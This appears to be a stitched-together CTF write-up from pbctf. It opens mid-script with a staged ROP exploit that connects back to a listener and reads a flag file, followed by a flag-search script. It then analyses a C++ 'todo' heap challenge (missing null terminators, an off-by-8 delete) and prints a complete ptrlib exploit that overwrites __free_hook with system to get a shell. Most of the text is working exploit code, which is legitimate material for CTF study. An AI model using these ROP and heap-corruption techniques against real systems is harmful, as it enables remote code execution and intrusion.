jmp_p_ebx_eax4_1080h = 0x0808c242 def receiver(s): conn, addr = s.accept() conn.send(TARGET) data = conn.recv(0x40) print(data) conn.close() with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('0.0.0.0', 512)) """ STAGE 2: re-connect me """ payload = b'A' * 0x10 payload += p32(addr_stage3) payload += p32(rop_pop_ecx_ebx) payload += p32(arg_socket) payload += p32(1) payload += p32(rop_pop_eax) payload += p32(SYS_socketcall) payload += p32(rop_int80) payload += p32(rop_pop_ecx_ebx) payload += p32(arg_connect) payload += p32(3) payload += p32(rop_pop_eax) payload += p32(SYS_socketcall) payload += p32(rop_int80) payload += p32(rop_pop_ecx_ebx) payload += p32(3) payload += p32(0) payload += p32(rop_pop_eax) payload += p32(SYS_dup2) payload += p32(rop_int80) payload += p32(addr_vuln) payload += b'A' * (100 - len(payload)) s.listen(1) conn, addr = s.accept() conn.send(payload) conn.close() """ STAGE 3: receive large rop """ s.listen(2) th = threading.Thread(target=receiver, args=(s,)) conn, addr = s.accept() th.start() payload = b'A' * 0x10 payload += p32(addr_stage3) payload += p32(rop_pop_eax) payload += p32(addr_stage3) payload += p32(rop_pop_edx_ecx_ebx) payload += p32(arg_recv + 4) payload += p32(arg_recv) payload += p32(10) payload += p32(rop_mov_pedx_eax) payload += p32(rop_pop_eax) payload += p32(SYS_socketcall) payload += p32(rop_int80) payload += p32(rop_leave) payload += b'A' * (100 - len(payload)) """ STAGE 4: THE ROP CHAIN """ payload += p32(0xdeadbeef) payload += p32(rop_pop_ecx_ebx) payload += p32(arg_socket) payload += p32(1) payload += p32(rop_pop_eax) payload += p32(SYS_socketcall) payload += p32(rop_int80) payload += p32(rop_pop_ecx_ebx) payload += p32(arg_connect) payload += p32(3) payload += p32(rop_pop_eax) payload += p32(SYS_socketcall) payload += p32(rop_int80) payload += p32(rop_pop_eax) payload += p32(addr_path) payload += p32(rop_pop_edx_ecx_ebx) payload += p32(arg_recv2 + 4) payload += p32(arg_recv2) payload += p32(10) payload += p32(rop_mov_pedx_eax) payload += p32(rop_pop_eax) payload += p32(SYS_socketcall) payload += p32(rop_int80) payload += p32(rop_pop_edx_ecx_ebx) payload += p32(0) + p32(0) + p32(addr_path) payload += p32(rop_pop_eax) payload += p32(5) payload += p32(rop_int80) payload += p32(rop_pop_edx) payload += p32(libc_stack_end - 0x24) payload += p32(rop_mov_ecx_pedx24h_cmp_ecx_pedx28h_cmove_eax_ecx) payload += p32(rop_pop_ebx_edx) payload += p32(1) + p32(0x40) payload += p32(rop_pop_eax) payload += p32(3) payload += p32(rop_int80) payload += p32(rop_pop_ebx_edx) payload += p32(0) + p32(0x40) payload += p32(rop_pop_eax) payload += p32(4) payload += p32(rop_int80) payload += p32(rop_pop_ebx) payload += p32(1) payload += p32(rop_pop_eax) payload += p32(6) payload += p32(rop_int80) payload += p32(0xdeadbeef) payload += b'A' * (0x1000 - len(payload)) conn.send(payload) conn.close() th.join()
grep pbctf -rl /flag_dir
import subprocess output = subprocess.check_output(["python3", "ls.py", "/flag_dir"]) dir1 = [] for line in set(output.decode().split("\n")): if line == '' or line == '..' or line == '.': continue dir1.append(f"/flag_dir/{line}") print(dir1) dir2 = [] for path in dir1: print(path) output = subprocess.check_output(["python3", "ls.py", path]) for line in set(output.decode().split("\n")): if line == '' or line == '..' or line == '.': continue dir2.append(f"{path}/{line}") print(dir2) files = [] for path in dir2: print(path) output = subprocess.check_output(["python3", "ls.py", path]) for line in set(output.decode().split("\n")): if line == '' or line == '..' or line == '.': continue files.append(f"{path}/{line}") print(files) for path in files: print(path) output = subprocess.check_output(["python3", "cat.py", path]) if b'pbctf{' in output: print("***********************") print(path) print(output) exit(0)
Description: I definitely didn't pay my friend to complete this final project assignment. Though I know my friend is also always struggling with new/delete stuff so I guess I struggle with that too. Also to tell you the truth, I hate commenting my code, always a hassle to do so (real programmers don't need to read any comments to understand the program). Server: nc todo.chal.perfect.blue 1
This time, we have the source code yay!
$ checksec -f todo RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 138 Symbols No 0 0 todo
The program is a TODO manager which is written in C++.
One suspicious part is that it implements its own String
type.
Checking the strdup algorithm used by the class, it's obvious this doesn't terminate the string by null.
Char* strdup2(const char *str) { uint64_t len = strlen(str); Char *ret = new Char[len]; while (len --> 0) { ret[len] = Char(str[len]); } return ret; } Char* strdup2(const Char *str, uint64_t len) { Char *ret = new Char[len]; while (len --> 0) { ret[len] = Char(str[len]); } return ret; }
The output stream just puts the string as char*
, which may over-read the adjacent uninitialized buffer.
std::ostream& operator<<(std::ostream& out, const String& str) { out << (char*)str.arr; return out; }
So, address leak is pretty easy.
The vulnerability lies in the following part of addTask
function.
String *arr; if (taskCount[categ] == 0) { tasks[categ] = arr = new String[count]; } else { String* old = tasks[categ]; arr = tasks[categ] = new String[count + taskCount[categ]]; for (int i = 0; i < taskCount[categ]; i++) { tasks[categ][i] = old[i]; arr++; } delete old; }
tasks
is an array of String*
.
String* tasks[NUM_CATEGORIES];
Each variable points to 8-byte off from the beginning of the chunk.
As a result, the last delete old
will free a pointer off by 8-byte. (This is because an array has it's size at the top!)
The libc binary is patched and free
function no longer checks the alignment.
RUN mkdir /app && \ echo "$LIBC_HASH $LIBC_FILE" | sha256sum -c && \ /bin/echo -ne '\x07' | dd of=$LIBC_FILE seek=629249 bs=1 conv=notrunc
We need to abuse this bug to pwn the heap.
First hard point of this challenge is that there's few places where we can free a chunk.
One is the delete
previously explained.
Another takes place in the following piece of code in finishTask
.
while (ind < taskCount[categ]) { tasks[categ][ind] = std::move(tasks[categ][ind + 1]); ind++; }
The assignment calls the move constructor of String
, which internally deletes the old pointer.
String& String::operator=(String&& other) { delete []arr; size = other.size; arr = other.arr; other.arr = nullptr; return *this; }
Second problem is the field layout of String*
.
The structure of String*
looks like this:
+00: Array size +08: element 0: size of `Char*` +18: element 0: pointer to `Char*` +28: element 1: size of `Char*` ...
We have to free the pointer to "+08". Thus, the value at "+00" is used as the chunk size and we need to make it a valid value. Assume that we set the array size to 16n+1 so that it'll be linked to tcache. Then, the size of the array must be (16n+1)*16, which is far larger than the size. The elements of the array remains on heap (memory leak) and can never be used so it's useless to link the fake chunk into tcache.
However, what if we can consolidate the fake chunk backwardly? The fake chunk prepared before the freed one will be consolidated and linked to unsorted bin. This is useful because the consolidated chunk may overlap with some available chunks, which may lead us to tcache poisoning or whatever.
It was really hard to make this come true. I did a terrible heap feng shui and prepared a chunk so that it won't be killed by the unlink checks. I remember it was very troublesome but I don't remember what I did :P
It's next to impossible to explain this sort of "Fun with Heap (not fun at all for me)" challenge. I just put my final exploit here:
from ptrlib import * NUM_CATEGORY = 6 def add(category, tasks): sock.sendlineafter(">>> ", "1") sock.sendlineafter(">>> ", str(category)) sock.sendlineafter(": ", str(len(tasks))) for task in tasks: sock.sendline(task) def view(category): sock.sendlineafter(">>> ", "2") sock.sendlineafter(">>> ", str(category)) sock.recvline() tasks = [] while True: l = sock.recvline() if b'Please select' in l: break tasks.append(l.lstrip()) return tasks def finish(category, removes): sock.sendlineafter(">>> ", "3") sock.sendlineafter(">>> ", str(category)) for i in range(len(removes)): sock.sendlineafter(">>> ", str(removes[i])) for j in range(i, len(removes)): if removes[j] > removes[i]: removes[j] -= 1 sock.sendlineafter(">>> ", "-1") """ libc = ELF("./real_libc.so") sock = Socket("localhost", 9999) """ libc = ELF("./real_libc.so") sock = Socket("nc todo.chal.perfect.blue 1") add(0, ["A" * 0x420]) finish(0, [1]) add(0, ["\xe0", "X"*4, "Y"*8, "Z"*4]) l = view(0) finish(0, [2, 3, 4]) libc_base = u64(l[0]) - libc.main_arena() - 0x60 heap_base = u64(l[2][8:]) - 0x126b0 logger.info("libc = " + hex(libc_base)) logger.info("heap = " + hex(heap_base)) addr_me = heap_base + 0x12038 payload = b"E" * 0x38 payload += p64(0) + p64(0x4211) payload += p64(addr_me + 0x20) + p64(addr_me + 0x20) payload += p64(0) + p64(0x2221) payload += p64(addr_me) + p64(addr_me) payload += b"E" * (0x180 - len(payload)) add(2, ["A", "0" * 0x2400]) add(1, ["C" * 0x420] + ["D" * 0x4200] + [payload] + ["B" * 0x21 for i in range(0x1e)]) finish(1, [2]) add(1, ["1" * 0x31] + ["1" * 0x21 for i in range(0x420 - 0x21)]) add(1, ["F"]) addr_me = heap_base + 0x12038 payload = b"Y" * 0x18 payload += p64(0x720) payload += b"Y" * (0x38 - len(payload)) payload += p64(0) + p64(0x720) payload += p64(addr_me + 0x30) payload += p64(addr_me + 0x30) payload += p64(addr_me + 0x30) payload += p64(addr_me + 0x40) payload += p64(0) + p64(0x21) payload += p64(addr_me) + p64(addr_me) payload += p64(addr_me) + p64(addr_me) payload += p64(addr_me) payload += b"X" * (0x660 - len(payload)) payload += p64(0) + p64(0x21) payload += p64(libc_base + libc.symbol("__free_hook") - 0x8) payload += p64(heap_base + 0x10) payload += b"X" * (0x710 - len(payload)) add(3, [payload]) add(4, [p64(libc_base + libc.symbol("system")), "B"*8, "C"*8, "D"*8, "E"*8]) add(5, ["/bin/sh\0" + "A" * 0x100]) sock.interactive()